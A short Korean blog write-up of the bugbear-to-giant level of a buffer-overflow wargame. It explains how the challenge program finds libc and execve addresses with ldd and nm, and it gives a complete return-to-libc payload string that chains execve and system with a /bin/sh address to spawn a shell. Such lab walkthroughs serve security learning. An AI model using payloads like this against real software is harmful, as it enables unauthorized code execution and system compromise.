nemo의 이야기

BOF원정대 bugbear -> giant 본문

Information security/System security

BOF원정대 bugbear -> giant

nemojjong 2018. 1. 28. 18:10

 

코드를 확인해 보면

 

1. popen("/usr/bin/ldd /home/giant/assassin

 

| /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);

->assasin에 들어있는 주소를 볼 수 있다. libc

 

   ldd는 프로그램이 사용하는 라이브러리를 보여준다.

  

   awk는 화면에 출력된 내용을 분할이나 파싱할때 쓰인다 (공백으로 분할된다) 각각에 변수를 붙인다.

 

2. popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);

   -> execve에 함수 위치를 가져온다

 

       nm을 이용하면 라이브러리에 함수 목록을 가져올 수 있다.

 

       가상메모리와 합친 execve에 주소를 가져올 수 있다.

 

이제 주소를 확인해보자

 

 

40018000과 00091d48이라는 것을 확인 할 수 있다.

 

두 메모리의 주소를 더하면 400A9d48거 된다

 

이전 문제와 비슷하게 execve에 주소를 찾고 exeve안에 넣을 인자를 결정하여 공격해보자

 

첫번쨰 인자는 /bin/sh

 

두번째 인자는 null이 들어간 포인터 배열

 

세번째 인자는 null의 주소로하여 공격해보자

 

 

system : 40058ae0이고 execve : 400a9d48

 

/bin/sh는 전에 사용하던 주소로 해보자 0x400fbff9


 

 

null값이 이어져 있는 주소는 찾아 넣어주면 된다. 그러면 0xbffffc38과 0xbffffc3c로 하여 공격해보자

 

 "$(python -c 'print "A" *44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\x38\xfc\xff\xbf" + "\x3c\xfc\xff\xbf"')"

 

 

Comments